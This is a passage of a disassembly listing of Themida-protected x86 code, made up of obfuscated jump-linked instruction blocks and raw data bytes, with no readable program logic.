loc_548FB4:				; CODE XREF: Themida_:00550DA5j
		add	esp, 4
		jmp	loc_54A796
; ---------------------------------------------------------------------------
		dd 4C481h, 0BE560000h, 4, 335EF001h, 4312404h, 24043324h
		dd 4060E95Ch, 34FF0000h, 0C4815A24h, 4,	6A99E9h, 6F432D00h
		dd 0E8016DADh, 6F43BE56h, 2B2D6DADh, 15F5A76h, 762B05F0h
		dd 5D5E5F5Ah, 731FE9h, 35E95900h, 0C00000B8h, 8EE902E5h
		dd 550000A4h, 954417BDh, 5DE88938h, 0CB48E9h, 34FF5B00h
		dd 0E9555D24h, 0D19Eh, 0E99DEE80h, 5919h
; ---------------------------------------------------------------------------

loc_549038:				; CODE XREF: Themida_:00547743j
		sub	ecx, edi
		add	ecx, 14FC1E5Fh
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_54E3E9
; ---------------------------------------------------------------------------

loc_549053:				; CODE XREF: Themida_:00554494j
		add	esp, 4
		push	ebp
		push	esi
		mov	esi, 7B2461B6h
		mov	ebp, esi
		pop	esi
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	0B99h
		mov	[esp], ecx
		jmp	loc_550AE2
; ---------------------------------------------------------------------------

loc_549075:				; CODE XREF: Themida_:0054C295j
		mov	eax, [esp]
		push	ebx
		jmp	loc_545B05
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 0D740D0Eh, 214CF681h, 0F0316DF3h, 0FFC677E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549091:				; CODE XREF: Themida_:0054E13Aj
		pop	esi
		jmp	loc_552A57
; ---------------------------------------------------------------------------

loc_549097:				; CODE XREF: Themida_:00550323j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	esi, 4
		jmp	loc_54491A
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24248B24h, 4EC81h, 14890000h, 0F1C0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5490C2:				; CODE XREF: Themida_:0054BB22j
		pop	esi
		jmp	loc_54C661
; ---------------------------------------------------------------------------

loc_5490C8:				; CODE XREF: Themida_:005501B2j
		neg	cl
		jmp	loc_545B2E
; ---------------------------------------------------------------------------

loc_5490CF:				; CODE XREF: Themida_:0054FF7Dj
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_54B0BE
; ---------------------------------------------------------------------------

loc_5490E0:				; CODE XREF: Themida_:005433A0j
		push	7271h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_548CD5
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 0FFB3C6E9h, 0E9FE31FFh, 0CB90h
dword_549104	dd 0FF2434FFh, 39E92434h, 8F00001Ch, 248B2404h,	24048124h
					; DATA XREF: Themida_:00542FC0o
		dd 34940B04h, 0A1242C81h, 812B6A32h, 67802404h,	429786Fh
		dd 0E0895024h, 405h, 9143E900h,	2D5D0000h, 56A103E3h, 0E305F829h
		dd 5F56A103h, 0FFA436E9h, 3511B8FFh, 0AD355531h, 8945DA6Eh
		dd 5707E9C1h, 0C1810000h, 4, 8704C183h,	0DEE9240Ch, 0C1000099h
		dd 0C58108EDh, 49D23699h, 0E95DEA29h, 16DDh, 0E9240489h
		dd 0E0B0h, 0CF88E188h, 88D7F659h, 0F4805BFCh, 0C50DE9BCh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54919A:				; CODE XREF: Themida_:0054BECCj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_556869
; ---------------------------------------------------------------------------

loc_5491B0:				; CODE XREF: Themida_:00554540j
		pop	esp
		jmp	loc_546899
; ---------------------------------------------------------------------------

loc_5491B6:				; CODE XREF: Themida_:005583BEj
		dec	esi
		jmp	loc_544519
; ---------------------------------------------------------------------------

loc_5491BC:				; CODE XREF: Themida_:0054657Ej
		mov	[esp], ebp
		mov	ebp, 5B3A0E87h
		xor	ebp, 766A014Eh
		jmp	loc_55134B
; ---------------------------------------------------------------------------
		db 54h
		dd 4EC815Eh, 89000000h,	45B9240Ch, 0C15E1313h, 39E908E9h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5491E7:				; CODE XREF: Themida_:00553E12j
		pop	edi
		shl	edi, 3
		or	edi, 0B125974h
		jmp	loc_5435BA
; ---------------------------------------------------------------------------
		dw 8966h
		dd 81662424h, 22404h, 24048F66h, 2EC81h, 89660000h, 6657240Ch
		dd 0E920B168h, 0DF00h, 8904EC83h, 6856242Ch, 76E4027Dh
		dd 0CAF6815Eh, 0E978013Dh, 4FCAh
dword_549230	dd 24048B66h, 6102E9h, 4BB00h, 0DD010000h, 6066E95Bh, 0EE800000h
					; DATA XREF: Themida_:005430CCo
		dd 8FE68005h, 0F680D6F6h, 36E68079h, 4D41E9h, 5BDA3100h
		dd 15AD031h, 5E5758C7h,	0E9243C8Bh, 0FFFFB170h,	0F7D7F747h
		dd 1A9BE9DFh, 0E9580000h, 0FFFFBBF0h, 0BD242C89h, 20947F18h
		dd 1ED81h, 0D3E90000h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54928F:				; CODE XREF: Themida_:0054F548j
		mov	ebx, 0CA2AA501h
		jmp	loc_54AED9
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 8
		dd 7886EB81h, 5350149Fh, 0B93BB0BBh, 9763B845h,	0D82965CEh
		dd 18E72D5Bh, 0B5E9241Eh
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5492BB:				; CODE XREF: Themida_:0054EB5Ej
		mov	bl, cl
		pop	ecx
		pop	edx
		jmp	loc_549E82
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 0BF575224h, 7259521Eh, 0BE5FFA89h
		dd 4B4DC09h, 0C232E9h, 274BBA00h, 0E2D1428Ah, 22E9DAF7h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5492EF:				; CODE XREF: Themida_:0054B2A2j
		mov	ebx, 48332CF0h
		push	6F29h
		mov	[esp], eax
		jmp	loc_5493BA
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0C9h
		dd 0E93EC80Ch, 0C3F7h, 8359CD01h, 0EBE904C5h, 5FFFFDFh
		dd 5EC50C08h, 0AF22E9h
		db 0
; ---------------------------------------------------------------------------

loc_549321:				; CODE XREF: Themida_:00555A52j
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		jmp	loc_552E86
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 0D564h, 5FF9015Ah, 0E9240C87h, 11Eh, 0F280CAFEh
		dd 8BD13004h, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 0D74BE95Ch
		db 2 dup(0)
word_54936E	dw 8B66h		; DATA XREF: Themida_:005430DCo
		dd 8953240Ch, 0EE19E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54937A:				; CODE XREF: Themida_:0055096Bj
		xor	dword ptr [esp], 34026BF4h
		pop	edx
		xor	edx, 34026BF4h
		pop	eax
		add	eax, edx
		jmp	loc_54FC44
; ---------------------------------------------------------------------------

loc_549390:				; CODE XREF: Themida_:0054458Ej
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4CD468EFh
		jmp	loc_547F06
; ---------------------------------------------------------------------------

loc_5493A0:				; CODE XREF: Themida_:0054B7B9j
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		shr	ecx, 0Bh
		push	ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5482F0
; ---------------------------------------------------------------------------

loc_5493BA:				; CODE XREF: Themida_:005492FCj
		push	1B184DB1h
		pop	eax
		push	ebx
		jmp	loc_5486CD
; ---------------------------------------------------------------------------
		dw 166h
		dd 6604246Ch, 4481665Dh, 3050224h, 244C0166h, 6C816602h
		dd 3050224h, 246C8166h,	6645EA02h, 53240C8Bh, 0C381E389h
		dd 4, 4F02BF57h, 0DCE97E54h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5493FF:				; CODE XREF: Themida_:00550E89j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	edx
		push	99F187Ch
		pop	edx
		push	edi
		mov	edi, 21E260EAh
		or	edi, 301C36h
		or	edi, 76E52CBEh
		sub	edi, 6F6A65B4h
		sub	edi, 0ED74EAEh
		push	edx
		mov	edx, 0EAE7C6DFh
		sub	edi, edx
		pop	edx
		add	edx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_5516B5
; ---------------------------------------------------------------------------
aIS		db '┴щИ',0Dh,0
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54944A:				; CODE XREF: Themida_:005488CAj
		push	ebx
		mov	ebx, 12B82E2Fh
		neg	ebx
		jmp	loc_5442D8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835B2434h, 0F10504C4h, 12B0954h, 0B4BCE9E8h,	835C0000h
		dd 0B95104C4h, 4, 0FFFE93E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549479:				; CODE XREF: Themida_:0054879Cj
		add	esi, 4
		sub	esi, 4
		jmp	loc_54EDB0
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0FA3506E8h, 3544FD6Ah, 10AE15F7h, 5258C529h,	0D82B31BAh
		dd 8A26E941h, 0F7930000h, 0E94893D3h, 6C52h, 91BBF57h
		dd 4DE96FE5h, 53FFFFD6h, 667EE9h, 5EF12900h, 38FBE9h, 24043300h
		dd 0F24248Bh, 9C51C8AFh, 0FFBA39E9h, 2E13BBFFh,	434B13BDh
		dd 0D69AE9h, 1585B00h, 241C8BDFh, 0E904C483h, 20D0h, 52ADC181h
		dd 76E93009h, 0FF00001Bh, 8E92434h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_549503:				; CODE XREF: Themida_:00548335j
		pop	ebx
		push	5B53h
		mov	[esp], ecx
		mov	ecx, 683836CCh
		dec	ecx
		push	edx
		mov	edx, 62A02563h
		and	ecx, edx
		pop	edx
		jmp	loc_55360C
; ---------------------------------------------------------------------------
		dd 14E979B7h, 890000D9h, 0E952241Ch, 2908h
; ---------------------------------------------------------------------------

loc_549530:				; CODE XREF: Themida_:005478AFj
		mov	ecx, eax
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54E68C
; ---------------------------------------------------------------------------
byte_54953F	db 0FFh			; DATA XREF: Themida_:00542FC8o
		dd 669D1C77h, 1CD36659h, 4CE99C24h, 81FFFF9Dh, 4C1h, 4C18100h
		dd 0E9000000h, 9EB9h, 77D4BA52h, 54014D5Dh, 62E90424h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54956F:				; CODE XREF: Themida_:00543877j
		pop	ebx
		push	ebp
		jmp	loc_5530E8
; ---------------------------------------------------------------------------
		dw 0AD05h
a3OsT		db '3ьoИз▓',0
		align 10h

loc_549580:				; CODE XREF: Themida_:00545D8Bj
		xor	ebx, 120C7AD7h
		or	eax, ebx
		jmp	loc_5517CF
; ---------------------------------------------------------------------------
aSsj		db ']Иs╕',0
		dw 3100h
		dd 34332434h, 0B987E924h, 3C89FFFFh, 6B166824h,	0E95F4421h
		dd 2E8Fh
; ---------------------------------------------------------------------------

loc_5495AC:				; CODE XREF: Themida_:005503EFj
		sub	edx, 6A0206D9h
		shl	edx, 4
		sub	edx, 3F651C01h
		sub	eax, edx
		jmp	loc_548798
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 74548AAh, 1AB8EA81h,	0FA01381Fh, 1AB8C281h, 0EA81381Fh
		dd 74548AAh, 0E904EC83h, 841Bh,	158C689h, 5E042474h, 0AB49E9h
		db 0
; ---------------------------------------------------------------------------

loc_5495F1:				; CODE XREF: Themida_:0054E95Dj
		push	0E5C12F3h
		pop	eax
		add	eax, 1EF826ECh
		mov	esi, eax
		jmp	loc_55434B
; ---------------------------------------------------------------------------
		db 0FFh
a4SB		db '4$И^│',0
		dw 3300h
		dd 248B240Ch, 4FF6624h,	80E99C24h, 52FFFF9Ch, 0B279AEBAh
		dd 0BD554A55h, 0
		dd 0EA87D529h, 0FFE3EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549631:				; CODE XREF: Themida_:0054A28Fj
		mov	edx, ecx
		pop	ecx
		xor	edx, 43565D75h
		sub	ebx, edx
		pop	edx
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54E6F1
; ---------------------------------------------------------------------------

loc_549647:				; CODE XREF: Themida_:0054D678j
		push	esp
		pop	ebp
		jmp	loc_553CF8
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 5E2434FFh, 8904EC83h, 0EC81241Ch, 4,	83242489h, 8B042404h
		dd 8FE9241Ch, 0BE0000CAh, 55A423CEh, 8247401h, 2454295Eh
		dd 246C8104h, 0A423CE04h, 24148B55h, 81E38953h,	4C3h, 4C38300h
		dd 0FFC61AE9h, 4B8FFh, 0C3810000h, 2BAC28CCh, 0EB81C301h
		dd 2BAC28CCh, 241C3358h, 33241C31h, 15C241Ch, 0E9042444h
		dd 0EC14h, 0E924048Fh, 0D86Bh, 0E1BB5359h, 1610E34h, 1C8B5BD9h
		dd 4C48124h, 1000000h, 2434FFCDh, 4C48359h, 4AB7E955h
		dd 895B0000h, 9CD2E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5496F2:				; CODE XREF: Themida_:0054ECA1j
		mov	edx, 94B3D4Bh
		xchg	edi, edx
		jmp	loc_557F1A
; ---------------------------------------------------------------------------

loc_5496FE:				; CODE XREF: Themida_:005521BDj
		sub	eax, 4
		jmp	loc_5550DD
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 56647BFh, 296666ADh,	0E95566D8h, 0A013h, 0C77172B8h
		dd 0E6B3E923h, 0F7500000h, 48B2414h, 4C48324h, 406F2335h
		dd 58C18964h, 0C286E9h,	1C895C00h, 319DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549742:				; CODE XREF: Themida_:0054D4A7j
		pop	edi
		neg	edi
		neg	edi
		sub	edi, 17AF849h
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5541AA
; ---------------------------------------------------------------------------
		dd 0C8B60F5Ch, 4224E9h,	243C8700h, 68F6E9h, 67C46800h
		dd 0C890000h, 52D18824h, 51CB8853h, 0CE88D988h,	241C8B59h
		dd 8804C483h, 24148BF4h, 4C481h, 34FF0000h, 0E9575924h
		dd 0FFFFAE62h, 4830BE56h, 0ABE97999h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5497A3:				; CODE XREF: Themida_:00557DA3j
		add	eax, 0CE4CF15Ah
		sub	ebp, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54800A
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 5DE80100h, 9C685253h, 8B246920h, 0C4832414h, 4EB85004h
		dd 0C155B65Ch, 0DAE906E0h, 50FFFFF2h, 0EC81E089h, 4, 0B9240C89h
		dd 4, 593E7105h, 90AFE934h, 0BE560000h,	9A31B6Bh, 95EF001h
		dd 2AE958C1h, 8B0000E6h, 50E9242Ch
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549813:				; CODE XREF: Themida_:0055313Fj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	ebx, edi
		sub	ebx, 3F9010CDh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, edx
		jmp	loc_5478A3
; ---------------------------------------------------------------------------
		db 80h
		dd 0F68031CEh, 9ABEE911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54984E:				; CODE XREF: Themida_:0054402Dj
		pop	ecx
		push	edi
		jmp	loc_54346D
; ---------------------------------------------------------------------------

loc_549855:				; CODE XREF: Themida_:0055385Bj
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_54D7D7
; ---------------------------------------------------------------------------

loc_549863:				; CODE XREF: Themida_:005434BBj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	esi
		jmp	loc_557C35
; ---------------------------------------------------------------------------

loc_549872:				; CODE XREF: Themida_:00556DC6j
		mov	[esp], edi
		push	4923h
		mov	[esp], ebp
		jmp	loc_556D96
; ---------------------------------------------------------------------------
aZSls		db '┤жИ╚≥',0
		dd 241C8B00h, 6EE168h, 24048900h, 24048B54h, 504C483h
		dd 4, 405h, 24048700h, 94CDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5498AD:				; CODE XREF: Themida_:00555D71j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5559B3
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 7Dh
		dd 81665974h, 0CF0F2BC7h, 0F5EF8168h, 1074A0Dh,	0F5C781DFh
		dd 81074A0Dh, 0CF0F2BEFh, 8612E968h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5498E2:				; CODE XREF: Themida_:00555CE7j
		mov	esi, 4
		push	esi
		mov	esi, 0FB21E78h
		dec	esi
		sub	esi, 10CE1B1Ch
		xor	esi, 88496AB8h
		add	edi, esi
		pop	esi
		add	edi, esi
		sub	edi, 76AD69E3h
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		add	[edi+24h], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_552161
; ---------------------------------------------------------------------------

loc_54991D:				; CODE XREF: Themida_:0054F078j
		mov	ebp, [esp]
		jmp	loc_54C1B7
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 258968h, 0F1D2E900h, 0E957FFFFh, 9A2Eh, 0F8BD6655h
		dd 0F5816619h, 1666FB2h, 81665DEBh, 6603C7C3h, 0A32D665Ah
		dd 0FDACE940h
		db 2 dup(0FFh)
word_54995A	dw 8B66h		; DATA XREF: Themida_:005431A4o
		dd 0CD682404h, 89000010h, 0C0E9241Ch
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54996B:				; CODE XREF: Themida_:00546EDDj
		add	esi, 0BA8A9CD8h
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		jmp	loc_555D89
; ---------------------------------------------------------------------------

loc_54997F:				; CODE XREF: Themida_:0054A67Aj
		sub	ebx, 0FFFFFFFFh
		push	2650h
		mov	[esp], ecx
		push	57F27CF2h
		pop	ecx
		shr	ecx, 1
		xor	ecx, 3EAF51A0h
		dec	ecx
		xor	ecx, 308267EDh
		push	ebx
		push	ecx
		push	ebp
		mov	ebp, 4FF0679Eh
		inc	ebp
		shl	ebp, 2
		xor	ebp, 53826D80h
		push	ecx
		mov	ecx, 424A6ACEh
		and	ebp, ecx
		pop	ecx
		shl	ebp, 3
		add	ebp, 4B674DFEh
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_548F04
; ---------------------------------------------------------------------------
		dd 4EC815Bh, 89000000h,	0D7682414h, 8900000Ch, 4812424h
		dd 424h, 0C2815A00h, 4,	4EA81h,	0E9520000h, 5698h, 582BEB80h
		dd 888BEB80h, 241C8BD9h, 4C481h, 0E9800000h, 6D70E901h
		dd 0C1420000h, 0E95306E2h, 0FFFFC518h, 955E981h, 0E9811539h
		dd 70C781Ch, 4BDAE981h,	0F1815EB6h, 6A7A6BFAh, 0E904EC83h
		dd 0FFFFCE1Ah
; ---------------------------------------------------------------------------

loc_549A40:				; CODE XREF: Themida_:00546685j
		push	edx
		mov	edx, 5D1E28EFh
		shl	edx, 8
		sub	edx, 1E28EEFCh
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_548A0C
; ---------------------------------------------------------------------------

loc_549A6A:				; CODE XREF: Themida_:00550843j
		sub	ecx, 0BE830C2h
		push	esi
		mov	esi, 63F800D5h
		shr	esi, 4
		jmp	loc_54AFDE
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 4EC81h, 1C890000h,	6653E924h, 50000h, 541E07Ah
		dd 67517ADFh, 0DAD6E9h
		db 0
; ---------------------------------------------------------------------------

loc_549AA1:				; CODE XREF: Themida_:00553AD3j
		add	edx, esi
		jmp	loc_54D8B4
; ---------------------------------------------------------------------------
		dd 8B240433h, 0E1F62424h, 0CCB60F66h, 81E18951h, 4C1h
		dd 4E98100h, 51000000h,	0D3DAE9h, 2DF58100h, 9CEF0F3h
		dd 0F2875DEAh, 0F287DEF7h, 717DBD55h, 7AE90162h, 10000C1h
		dd 5DC781EFh, 8B0A952Fh, 0C483242Ch, 2C78304h, 0FFEC07E9h
		dd 0B95155FFh, 24146FCFh, 0E9D1F741h, 0FFFFD64Bh, 6FE9E189h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549B0F:				; CODE XREF: Themida_:0054BE62j
		push	46D8689Dh
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 25B90C85h
		add	esi, 58610FC5h
		push	7598h
		mov	[esp], edi
		mov	edi, 1D83601Dh
		sub	esi, edi
		pop	edi
		sub	esi, ebx
		add	esi, 1D83601Dh
		sub	esi, 58610FC5h
		jmp	loc_555F44
; ---------------------------------------------------------------------------

loc_549B49:				; CODE XREF: Themida_:00548C3Fj
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54C8CF
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 42474FFh,	0FFF40FE9h, 36C281FFh, 1434E78h
		dd 1FBE56C2h, 5558A83Eh, 0FFEBD2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549B7D:				; CODE XREF: Themida_:00544F9Fj
		pop	eax
		jmp	loc_550F71
; ---------------------------------------------------------------------------

loc_549B83:				; CODE XREF: Themida_:0055308Bj
		add	edi, 0FFFFFFFFh
		sub	edi, 5F92428Dh
		or	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, 0ADFC7A48h
		jmp	loc_5570D4
; ---------------------------------------------------------------------------

loc_549B9F:				; CODE XREF: Themida_:00553726j
		add	edi, offset byte_490467
		add	edi, 18E862C2h
		push	edx
		mov	edx, 752B1E2Eh
		xor	edx, 49592B8Ah
		xor	edx, 55C55516h
		shr	edx, 8
		sub	edx, 290F3F40h
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		add	edx, 0E36D8DBh
		and	edi, edx
		jmp	loc_557701
; ---------------------------------------------------------------------------

loc_549BD9:				; CODE XREF: Themida_:005537FEj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55605F
; ---------------------------------------------------------------------------
		dd 4247401h, 8124348Bh,	4C4h, 24048F00h, 4BF57h, 2E90000h
		dd 0BBFFFF98h, 4, 875BDE01h, 0E95C2434h, 0FFFFC7D6h, 8958C701h
		dd 42E95FFAh, 830000B5h, 8F042404h, 0BE562404h,	4, 0CF82E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549C3E:				; CODE XREF: Themida_:005451F0j
		add	[esp+4], esi
		jmp	loc_551747
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC83243Ch, 241C8904h, 389968h, 48F5400h, 8739E924h
		dd 875E0000h, 0ADE9241Ch
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549C67:				; CODE XREF: Themida_:005564A9j
		xchg	ecx, [esp]
		jmp	loc_546535
; ---------------------------------------------------------------------------

loc_549C6F:				; CODE XREF: Themida_:00543D11j
		push	2CBh
		mov	[esp], ebx
		jmp	loc_547328
; ---------------------------------------------------------------------------

loc_549C7C:				; CODE XREF: Themida_:00543E27j
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		jmp	loc_54CB1F
; ---------------------------------------------------------------------------

loc_549C88:				; CODE XREF: Themida_:0054F381j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 1EC3234h
		jmp	loc_556E55
; ---------------------------------------------------------------------------
		db 81h
		dd 567D20E9h, 1BF18110h, 9F23D42h, 51BFE9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549CBA:				; CODE XREF: Themida_:00547F33j
		pop	edx
		add	edx, 4
		push	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_55643B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 116DB850h, 0D00D6D1Fh, 5439411h, 9626F1B1h, 0C158C189h
		db 0E9h, 5
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		dec	dword ptr [esp]
		jmp	loc_54C5B9
; ---------------------------------------------------------------------------

loc_549D04:				; CODE XREF: Themida_:0054EFDDj
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, 0A6E3E05h
		and	eax, 2C174C84h
		push	esi
		jmp	loc_549F94
; ---------------------------------------------------------------------------
		db 1, 0EAh, 5Dh
		dd 4C281h, 0EC830000h, 24148904h, 42474FFh, 24048F5Ah
		dd 0FF24248Bh, 0E99C2404h, 0FFFF9557h, 4FC58158h, 10CDC7Ah
		dd 0F004E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549D52:				; CODE XREF: Themida_:005541CAj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5512D8
; ---------------------------------------------------------------------------

loc_549D6C:				; CODE XREF: Themida_:005573E3j
		neg	ebx
		xor	ebx, 4215776Dh
		sub	ebx, 2EC48A34h
		mov	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 6F6F4EC2h
		dec	esi
		neg	esi
		xor	esi, 17CC5F3Fh
		jmp	loc_556CD6
; ---------------------------------------------------------------------------
		db 41h,	0E9h, 93h
		dd 8FFFFF99h, 248B2404h, 2434FF24h, 592434FFh, 8904EC83h
		dd 8B54242Ch, 0C483242Ch, 4C58104h, 83000000h, 3C8904ECh
		dd 14BB5324h, 0BF4D6049h, 0B29FB6F0h, 515BDF01h, 0A94397B9h
		dd 4DC1817Ah, 810D5E34h, 825443F1h, 0E9CD01E0h,	0FFFFA167h
		dd 83242C8Bh, 26E904C4h, 52000029h, 3083BB53h, 0EBC11568h
		dd 0DBF74304h, 0E901C383h, 740Ch, 66F568h, 0D110E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549E0E:				; CODE XREF: Themida_:0054BFCCj
		sub	ecx, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55793B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aQsdo		db 'QИdO',0
		align 2
		dw 1C8Bh
		dd 4C48124h, 80000000h,	0C80092C1h, 51470459h, 8387E9h
		db 0
; ---------------------------------------------------------------------------

loc_549E41:				; CODE XREF: Themida_:0054FF62j
		pop	ebx
		jmp	loc_54F35E
; ---------------------------------------------------------------------------

loc_549E47:				; CODE XREF: Themida_:00556D1Dj
		push	571B78BEh
		pop	ecx
		add	ecx, 0AE250057h
		sub	edi, 3E5D5255h
		add	edi, ecx
		push	ecx
		jmp	loc_5552FC
; ---------------------------------------------------------------------------
		db 5Ah,	0F7h, 0DAh
		dd 0FFCC8DE9h, 14F753FFh, 53E95B24h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_549E73:				; CODE XREF: Themida_:00545B29j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		jmp	loc_5486E8
; ---------------------------------------------------------------------------

loc_549E82:				; CODE XREF: Themida_:005492BFj
		or	bl, 76h
		neg	bl
		and	bl, 0EEh
		neg	bl
		add	bl, 65h
		sub	cl, bl
		pop	ebx
		shr	cl, 1
		jmp	loc_550722
; ---------------------------------------------------------------------------

loc_549E99:				; CODE XREF: Themida_:00547902j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_556385
; ---------------------------------------------------------------------------
aIshoc		db '┴Аh▌C',0
		dw 0E900h
		dd 4411h, 0FF241489h, 5A042474h, 8B24048Fh, 0F662424h
		dd 9C2404B3h, 0FF93C6E9h, 4D000FFh, 0E95352D8h,	0FFFFDB50h
		dd 8853F188h, 885051CFh, 58C188F8h, 5B59C888h, 24148B59h
		dd 4C481h, 0FF2C0000h, 3B15166h, 63E9C800h, 68000022h
		dd 2, 6B7BE9h, 4C48100h, 31000000h, 78B850C3h, 539BD08h
		dd 1, 0C831E0D1h, 0C831C131h, 0D4E9D1F7h, 5C000073h, 0F57DE957h
		dd 1ABFFFFFh, 894A4855h, 44815FF9h, 2C2A0424h, 448170DAh
		dd 1C50424h, 4C01722Ch,	6C810424h, 1C50424h, 6C81722Ch
		dd 2C2A0424h, 0C8B70DAh, 4C48324h, 5A2434FFh, 81E78957h
		dd 4C7h, 99A5E900h, 0DD680000h,	89000073h, 0B2E9241Ch
